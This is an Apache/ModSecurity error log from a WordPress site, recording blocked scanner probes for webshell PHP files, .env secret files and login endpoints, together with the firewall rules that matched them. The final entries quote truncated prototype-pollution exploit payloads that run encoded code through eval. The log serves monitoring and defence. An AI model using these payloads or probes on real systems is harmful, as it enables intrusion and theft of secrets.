[Tue May 05 07:38:23.346091 2026] [:error] [pid 41055:tid 41073] [client 45.86.200.92:43171] [client 45.86.200.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "afkt7yepFwKgA_SKOHjbaQAAAQ8"]
[Tue May 05 07:38:24.188643 2026] [proxy_fcgi:error] [pid 39073:tid 39139] [client 45.86.200.76:59903] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:24.456698 2026] [:error] [pid 39073:tid 39155] [client 45.86.200.76:59903] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "afkt8P0kT1BNjk46Bkc41gAAAJU"]
[Tue May 05 07:38:24.985833 2026] [:error] [pid 41055:tid 41082] [client 45.86.200.60:42667] [client 45.86.200.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "afkt8CepFwKgA_SKOHjbyAAAARg"]
[Tue May 05 07:38:26.081334 2026] [proxy_fcgi:error] [pid 39073:tid 39158] [client 45.86.200.100:22195] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:26.362295 2026] [proxy_fcgi:error] [pid 39073:tid 39154] [client 45.86.200.100:22195] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:26.936288 2026] [proxy_fcgi:error] [pid 39073:tid 39152] [client 45.86.200.100:22195] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:27.500105 2026] [:error] [pid 39073:tid 39153] [client 45.86.200.100:22195] [client 45.86.200.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "afkt8_0kT1BNjk46Bkc5XgAAAJM"]
[Tue May 05 07:38:43.110973 2026] [autoindex:error] [pid 41055:tid 41062] [client 45.86.200.60:26945] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:39:02.321952 2026] [autoindex:error] [pid 41055:tid 41076] [client 45.86.200.60:26945] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:39:10.249097 2026] [:error] [pid 39072:tid 39124] [client 45.86.200.101:40677] [client 45.86.200.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "afkuHvolSHl4aAnrIov7ZQAAAFE"]
[Tue May 05 16:52:42.938112 2026] [proxy_fcgi:error] [pid 54732:tid 54743] [client 145.239.10.137:33885] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/tina.php
[Tue May 05 22:03:24.247132 2026] [:error] [pid 25743:tid 25754] [client 194.62.107.32:28311] [client 194.62.107.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "afn4rG-PCMRhF5DdUnP_mQAAAAc"]
[Tue May 05 23:52:05.501892 2026] [proxy_fcgi:error] [pid 25835:tid 25840] [client 145.239.10.137:57233] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/mi.php
[Wed May 06 04:31:40.060472 2026] [proxy_fcgi:error] [pid 48867:tid 48894] [client 145.239.10.137:38809] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/license_docs4.php
[Wed May 06 09:52:33.963127 2026] [:error] [pid 9789:tid 9794] [client 104.248.24.11:62491] [client 104.248.24.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.24.11, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "afqe4T_YStPJSCHPkUUc_wAAAEM"]
[Wed May 06 09:52:33.977418 2026] [proxy_fcgi:error] [pid 9789:tid 9794] [client 104.248.24.11:62491] AH01071: Got error 'Primary script unknown'
[Wed May 06 10:18:13.797333 2026] [:error] [pid 9664:tid 9779] [client 157.245.66.127:53226] [client 157.245.66.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.66.127, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "afqk5QH4OZbrg1SjsBPthQAAAJE"]
[Wed May 06 10:18:13.807959 2026] [proxy_fcgi:error] [pid 9664:tid 9779] [client 157.245.66.127:53226] AH01071: Got error 'Primary script unknown'
[Wed May 06 14:37:31.789613 2026] [:error] [pid 13414:tid 13439] [client 34.174.100.161:58996] [client 34.174.100.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "afrhq0uJQpWjVpJTu_n-lQAAARc"]
[Wed May 06 14:37:31.796426 2026] [:error] [pid 9664:tid 9769] [client 34.174.100.161:59012] [client 34.174.100.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "afrhqwH4OZbrg1SjsBMVpQAAAIc"]
[Wed May 06 14:37:31.867323 2026] [:error] [pid 9653:tid 9699] [client 34.174.100.161:59048] [client 34.174.100.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "afrhq6hJ49Xc4dqq0B6mowAAAAE"]
[Wed May 06 14:37:31.867412 2026] [:error] [pid 9653:tid 9716] [client 34.174.100.161:59028] [client 34.174.100.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev.local"] [unique_id "afrhq6hJ49Xc4dqq0B6mpAAAABI"]
[Wed May 06 14:37:31.877154 2026] [:error] [pid 9653:tid 9712] [client 34.174.100.161:59040] [client 34.174.100.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env.local"] [unique_id "afrhq6hJ49Xc4dqq0B6mpQAAAA4"]
[Wed May 06 14:37:31.989838 2026] [:error] [pid 63810:tid 63829] [client 34.174.100.161:59054] [client 34.174.100.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.docker"] [unique_id "afrhq3pnbsN9Zf6i5IEkwgAAAY8"]
[Wed May 06 14:37:32.003953 2026] [:error] [pid 9789:tid 9800] [client 34.174.100.161:59066] [client 34.174.100.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env"] [unique_id "afrhrD_YStPJSCHPkUVVNgAAAEk"]
[Wed May 06 14:37:32.046109 2026] [:error] [pid 592:tid 619] [client 34.174.100.161:59068] [client 34.174.100.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development.local"] [unique_id "afrhrJiX28mb6xLi2PyRhgAAApQ"]
[Wed May 06 14:37:32.061988 2026] [:error] [pid 592:tid 603] [client 34.174.100.161:59084] [client 34.174.100.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "afrhrJiX28mb6xLi2PyRhwAAAoc"]
[Wed May 06 14:37:32.085252 2026] [:error] [pid 9789:tid 9798] [client 34.174.100.161:59092] [client 34.174.100.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev"] [unique_id "afrhrD_YStPJSCHPkUVVNwAAAEc"]
[Wed May 06 16:08:33.429268 2026] [:error] [pid 557:tid 582] [client 202.137.142.173:55462] [client 202.137.142.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.137.142.173, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "afr3ATZjFR8Vd8ce80AgKAAAAlc"]
[Wed May 06 16:08:33.440792 2026] [proxy_fcgi:error] [pid 557:tid 582] [client 202.137.142.173:55462] AH01071: Got error 'Primary script unknown'
[Wed May 06 17:58:50.937035 2026] [:error] [pid 9653:tid 9706] [client 173.239.214.205:23455] [client 173.239.214.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "afsQ2qhJ49Xc4dqq0B7dlQAAAAg"]
[Wed May 06 21:12:23.505697 2026] [proxy_fcgi:error] [pid 13443:tid 13452] [client 2.27.46.11:55968] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/archivarix.cms.php
[Wed May 06 23:05:25.380460 2026] [proxy_fcgi:error] [pid 9789:tid 9807] [client 45.86.202.96:61503] AH01071: Got error 'Primary script unknown'
[Thu May 07 12:10:40.424062 2026] [:error] [pid 1143:tid 1167] [client 34.182.128.170:52960] [client 34.182.128.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.182.128.170, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "afwQwJb7qeI8X5VYRr5zYQAAARY"]
[Thu May 07 12:10:40.434159 2026] [proxy_fcgi:error] [pid 1143:tid 1167] [client 34.182.128.170:52960] AH01071: Got error 'Primary script unknown'
[Thu May 07 12:10:42.991972 2026] [:error] [pid 1143:tid 1147] [client 34.182.128.170:52960] [client 34.182.128.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "afwQwpb7qeI8X5VYRr5zcQAAAQI"]
[Thu May 07 12:10:43.420619 2026] [:error] [pid 56150:tid 56154] [client 34.182.128.170:60572] [client 34.182.128.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "afwQw9u4duXJJeTigXQ23AAAAEI"]
[Thu May 07 12:10:43.877852 2026] [:error] [pid 56150:tid 56170] [client 34.182.128.170:60792] [client 34.182.128.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "afwQw9u4duXJJeTigXQ23QAAAFI"]
[Thu May 07 12:10:44.311196 2026] [:error] [pid 1143:tid 1153] [client 34.182.128.170:64931] [client 34.182.128.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "afwQxJb7qeI8X5VYRr5zcgAAAQg"]
[Thu May 07 12:10:44.742988 2026] [:error] [pid 56150:tid 56168] [client 34.182.128.170:52900] [client 34.182.128.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "afwQxNu4duXJJeTigXQ23gAAAFA"]
[Thu May 07 12:10:45.184010 2026] [:error] [pid 56066:tid 56124] [client 34.182.128.170:61971] [client 34.182.128.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "afwQxUYS8DGwDvklLv6wBQAAAME"]
[Thu May 07 12:10:45.635172 2026] [:error] [pid 56066:tid 56134] [client 34.182.128.170:60451] [client 34.182.128.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "afwQxUYS8DGwDvklLv6wBgAAAMs"]
[Thu May 07 12:15:36.764781 2026] [:error] [pid 56066:tid 56132] [client 160.155.243.119:29639] [client 160.155.243.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.155.243.119, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "afwR6EYS8DGwDvklLv6xOAAAAMk"]
[Thu May 07 12:15:36.779395 2026] [proxy_fcgi:error] [pid 56066:tid 56132] [client 160.155.243.119:29639] AH01071: Got error 'Primary script unknown'
[Thu May 07 14:17:39.977164 2026] [:error] [pid 15715:tid 15737] [client 34.67.139.148:50175] [client 34.67.139.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.67.139.148, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "afwugyY4dZsLOttMkcc8dAAAARE"]
[Thu May 07 14:17:39.988683 2026] [proxy_fcgi:error] [pid 15715:tid 15737] [client 34.67.139.148:50175] AH01071: Got error 'Primary script unknown'
[Thu May 07 14:17:42.397057 2026] [:error] [pid 15715:tid 15719] [client 34.67.139.148:50175] [client 34.67.139.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "afwuhiY4dZsLOttMkcc8jAAAAQI"]
[Thu May 07 14:18:04.243982 2026] [:error] [pid 15631:tid 15705] [client 34.67.139.148:57344] [client 34.67.139.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "afwunHvP1GkPUuuLfqX1hgAAANI"]
[Thu May 07 14:18:04.829734 2026] [:error] [pid 15631:tid 15694] [client 34.67.139.148:60094] [client 34.67.139.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "afwunHvP1GkPUuuLfqX1hwAAAMc"]
[Thu May 07 14:18:05.271553 2026] [:error] [pid 15715:tid 15733] [client 34.67.139.148:59218] [client 34.67.139.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "afwunSY4dZsLOttMkcc8oQAAAQ0"]
[Thu May 07 14:18:05.701608 2026] [:error] [pid 15715:tid 15742] [client 34.67.139.148:57479] [client 34.67.139.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "afwunSY4dZsLOttMkcc8ogAAARY"]
[Thu May 07 14:18:06.168252 2026] [:error] [pid 15631:tid 15696] [client 34.67.139.148:62430] [client 34.67.139.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "afwunnvP1GkPUuuLfqX1iwAAAMk"]
[Thu May 07 14:27:23.813762 2026] [:error] [pid 15631:tid 15710] [client 103.168.67.107:60946] [client 103.168.67.107] ModSecurity: Access denied with code 403 (phase 2). Pattern match "[\\\\s\\\\x22'](?:alert|eval|\\\\.fromcharcode)\\\\s?(?:\\\\(|`)" at ARGS_POST:0. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "72"] [id "212790"] [rev "5"] [msg "COMODO WAF: XSS Attack Detected||agraphics.com.au|F|2"] [data "Matched Data: \\x22eval( found within ARGS_POST:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$b1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22eval(buffer.from('dmfyigvudj10exblb2ygchjvy2vzcye9psd1bmrlzmluzwqnp0ptt04uc3ryaw5nawz5khbyb2nlc3muzw52ktone30no3zhcibinjq9qnvmzmvylmzyb20ozw52ks50b1n0cmluzygnymfzzty0jyk7dghyb3cgt2jqzwn0lmfzc2lnbihuzxcgrxjyb3ioj05fwfrfukvesvjfq1qnksx7zglnzxn0oiantkvyvf9sru..."] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "afwwy3vP1GkPUuuLfqX5uAAAANc"], referer: https://agraphics.com.au
[Thu May 07 14:27:24.929513 2026] [:error] [pid 15631:tid 15690] [client 103.168.67.107:60946] [client 103.168.67.107] ModSecurity: Access denied with code 403 (phase 2). Pattern match "[\\\\s\\\\x22'](?:alert|eval|\\\\.fromcharcode)\\\\s?(?:\\\\(|`)" at ARGS_POST:0. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "72"] [id "212790"] [rev "5"] [msg "COMODO WAF: XSS Attack Detected||agraphics.com.au|F|2"] [data "Matched Data: \\x22eval( found within ARGS_POST:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$b1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22eval(buffer.from('dmfyihjlcz17fttpzih0exblb2ygchjvy2vzcye9psd1bmrlzmluzwqnkxjlcz1wcm9jzxnzlmvudjtlbhnliglmkhr5cgvvzibnbg9iywwhpt0ndw5kzwzpbmvkjylyzxm9z2xvymfso3zhcibinjq9qnvmzmvylmzyb20oslnpti5zdhjpbmdpznkocmvzkskudg9tdhjpbmcoj2jhc2u2nccpo3rocm93ie9iamvjdc..."] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "afwwzHvP1GkPUuuLfqX5vgAAAMM"], referer: https://agraphics.com.au
[Thu May 07 14:27:25.885863 2026] [:error] [pid 15631:tid 15703] [client 103.168.67.107:60946] [client 103.168.67.107] ModSecurity: Access denied with code 403 (phase 2). Pattern match "[\\\\s\\\\x22'](?:alert|eval|\\\\.fromcharcode)\\\\s?(?:\\\\(|`)" at ARGS_POST:0. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "72"] [id "212790"] [rev "5"] [msg "COMODO WAF: XSS Attack Detected||agraphics.com.au|F|2"] [data "Matched Data: \\x22eval( found within ARGS_POST:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$b1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22eval(buffer.from('dmfyif9ypsh0exblb2ygcmvxdwlyzse9psd1bmrlzmluzwqnp3jlcxvpcmu6chjvy2vzcy5tywlutw9kdwxllnjlcxvpcmuplgzzpv9ykcdmcycplhbhdghzpvsnlmvudicsjy5lbnyubg9jywwnlccuzw52lnbyb2r1y3rpb24nlccuzw52lmrldmvsb3btzw50jywnlmvudi5zdgfnaw5njywny29uzmlnl2rhdgfiyx..."] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "afwwzXvP1GkPUuuLfqX5xAAAANA"], referer: https://agraphics.com.au
[Thu May 07 14:27:27.161996 2026] [:error] [pid 15631:tid 15694] [client 103.168.67.107:60946] [client 103.168.67.107] ModSecurity: Access denied with code 403 (phase 2). Pattern match "[\\\\s\\\\x22'](?:alert|eval|\\\\.fromcharcode)\\\\s?(?:\\\\(|`)" at ARGS_POST:0. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "72"] [id "212790"] [rev "5"] [msg "COMODO WAF: XSS Attack Detected||agraphics.com.au|F|2"] [data "Matched Data: \\x22eval( found within ARGS_POST:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$b1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22eval(buffer.from('dmfyif9ypsh0exblb2ygcmvxdwlyzse9psd1bmrlzmluzwqnp3jlcxvpcmu6chjvy2vzcy5tywlutw9kdwxllnjlcxvpcmuplgnwpv9ykcdjaglszf9wcm9jzxnzjyksb3v0pxtlbny6chjvy2vzcy5lbnz9o3ryext2yxigcm9szt1jcc5legvju3luyygny3vybcatc2ygls1tyxgtdgltzsayigh0dha6ly8xnjkumj..."] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "afwwz3vP1GkPUuuLfqX5ywAAAMc"], referer: https://agraphics.com.au
[Thu May 07 14:27:30.764400 2026] [:error] [pid 15715:tid 15726] [client 103.168.67.107:60950] [client 103.168.67.107] ModSecurity: Access denied with code 403 (phase 2). Pattern match "[\\\\s\\\\x22'](?:alert|eval|\\\\.fromcharcode)\\\\s?(?:\\\\(|`)" at ARGS_POST:0. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "72"] [id "212790"] [rev "5"] [msg "COMODO WAF: XSS Attack Detected||agraphics.com.au|F|2"] [data "Matched Data: \\x22eval( found within ARGS_POST:0: 